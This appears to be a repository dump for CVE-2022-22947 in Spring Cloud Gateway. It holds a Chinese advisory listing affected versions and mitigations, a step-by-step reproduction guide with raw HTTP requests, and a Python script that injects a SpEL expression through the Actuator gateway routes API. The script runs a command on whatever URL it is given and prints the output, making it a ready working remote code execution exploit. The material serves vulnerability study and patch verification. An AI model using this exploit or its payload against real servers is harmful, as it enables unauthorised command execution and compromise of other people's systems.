Repository: lucksec/Spring-Cloud-Gateway-CVE-2022-22947 Branch: main Commit: 829c82bcb708 Files: 3 Total size: 6.9 KB Directory structure: gitextract_rm2npuo3/ ├── README.md ├── Spring Cloud Gateway Actuator API SpEL表达式注入命令执行（CVE-2022-22947）.md └── spring_cloud_RCE.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: README.md ================================================ # Spring-Cloud-Gateway-CVE-2022-22947 Spring Cloud Gateway远程代码执行漏洞的安全公告。该漏洞为当Spring Cloud Gateway启用和暴露 Gateway Actuator 端点时，使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求，从而远程执行任意代码。 【受影响版本】 Spring Cloud Gateway < 3.1.1 Spring Cloud Gateway < 3.0.7 Spring Cloud Gateway 旧的、不受支持的版本也会受到影响 【安全版本】 Spring Cloud Gateway >= 3.1.1 Spring Cloud Gateway >= 3.0.7 Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关，它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。 修复建议 临时修复建议： 如果不需要网关执行器端点，则应通过 management.endpoint.gateway.enabled: false 禁用它。如果需要执行器，则应使用 Spring Security 对其进行保护，请参阅https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security。 通用修复建议： 官方已发布安全版本，请及时下载更新，下载地址：https://github.com/spring-cloud/spring-cloud-gateway ## 通过url进行攻击 使用python3 运行 image python3 image # 本网站所提供的信息，只供参考之用 ================================================ FILE: Spring Cloud Gateway Actuator API SpEL表达式注入命令执行（CVE-2022-22947）.md ================================================ # Spring Cloud Gateway Actuator API SpEL表达式注入命令执行（CVE-2022-22947） Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本（包含）以前存在一处SpEL表达式注入漏洞，当攻击者可以访问Actuator API的情况下，将可以利用该漏洞执行任意命令。 参考链接： - https://tanzu.vmware.com/security/cve-2022-22947 - https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/ ## 漏洞环境 执行如下命令启动一个使用了Spring Cloud Gateway 3.1.0的Web服务： ``` docker-compose up -d ``` 服务启动后，访问`http://your-ip:8080`即可看到演示页面，这个页面的上游就是example.com。 ## 漏洞复现 利用这个漏洞需要分多步。 首先，发送如下数据包即可添加一个包含恶意SpEL表达式的路由： ``` POST /actuator/gateway/routes/hacktest HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 328 { "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"} }], "uri": "http://example.com", "order": 0 } ``` [![img](https://github.com/vulhub/vulhub/raw/master/spring/CVE-2022-22947/1.png)](https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/1.png) 然后，发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行： ``` POST /actuator/gateway/refresh HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0 ``` [![img](https://github.com/vulhub/vulhub/raw/master/spring/CVE-2022-22947/2.png)](https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/2.png) 发送如下数据包即可查看执行结果： ``` GET /actuator/gateway/routes/hacktest HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0 ``` [![img](https://github.com/vulhub/vulhub/raw/master/spring/CVE-2022-22947/3.png)](https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/3.png) 最后，发送如下数据包清理现场，删除所添加的路由： ``` DELETE /actuator/gateway/routes/hacktest HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close ``` [![img](https://github.com/vulhub/vulhub/raw/master/spring/CVE-2022-22947/4.png)](https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/4.png) ================================================ FILE: spring_cloud_RCE.py ================================================ import requests import json import sys def exec(url): headers1 = { 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Accept-Language': 'en', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36', 'Content-Type': 'application/json' } headers2 = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36', 'Content-Type': 'application/x-www-form-urlencoded' } ## command to execute replace "id" in payload payload = '''{\r "id": "hacktest",\r "filters": [{\r "name": "AddResponseHeader",\r "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"id\\"}).getInputStream()))}"}\r }],\r "uri": "http://example.com",\r "order": 0\r }''' re1 = requests.post(url=url + "/actuator/gateway/routes/hacktest",data=payload,headers=headers1,json=json) re2 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2) re3 = requests.get(url=url + "/actuator/gateway/routes/hacktest",headers=headers2) re4 = requests.delete(url=url + "/actuator/gateway/routes/hacktest",headers=headers2) re5 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2) print(re3.text) if __name__ == "__main__": print(''' ██████ ██ ██ ████████ ████ ████ ████ ████ ████ ████ ████ ██ ██████ ██░░░░██░██ ░██░██░░░░░ █░░░ █ █░░░██ █░░░ █ █░░░ █ █░░░ █ █░░░ █ █░░░ █ █░█ ░░░░░░█ ██ ░░ ░██ ░██░██ ░ ░█░█ █░█░ ░█░ ░█ ░ ░█░ ░█░█ ░█ █ ░█ ░█ ░██ ░░██ ██ ░███████ █████ ███ ░█ █ ░█ ███ ███ █████ ███ ███ ░ ████ ██████ █ ░██ ░░██ ██ ░██░░░░ ░░░░░ █░░ ░██ ░█ █░░ █░░ ░░░░░ █░░ █░░ ░░░█ ░░░░░█ █ ░░██ ██ ░░████ ░██ █ ░█ ░█ █ █ █ █ █ ░█ █ ░░██████ ░░██ ░████████ ░██████░ ████ ░██████░██████ ░██████░██████ █ ░█ █ ░░░░░░ ░░ ░░░░░░░░ ░░░░░░ ░░░░ ░░░░░░ ░░░░░░ ░░░░░░ ░░░░░░ ░ ░ ░ ██ ██ ██ ░██ ██ ██ ░██ ░██ ░██ ░░██ ██ ░██ ██ ██ █████ ░██ ██ ██████ ███████ █████ ░██████ ░░███ ░██░██ ░██ ██░░░██░██ ██ ██░░░░██░░██░░░██ ██░░░██ ░██░░░██ ░██ ██ ░██░██ ░██░██ ░░ ░████ ░██ ░██ ░██ ░██░███████ ░██ ░██ ██ ░░ ░██░██ ░██░██ ██░██░██ ░██ ░██ ░██ ░██░██░░░░ ░██████ ██ ██ ███░░██████░░█████ ░██░░██░░██████ ███ ░██░░██████ ░░░░░ ░░ ░░ ░░░ ░░░░░░ ░░░░░ ░░ ░░ ░░░░░░ ░░░ ░░ ░░░░░░ usage: python3 test.py url ''') if(len(sys.argv)>1): url = sys.argv[1] exec(url) else: exit()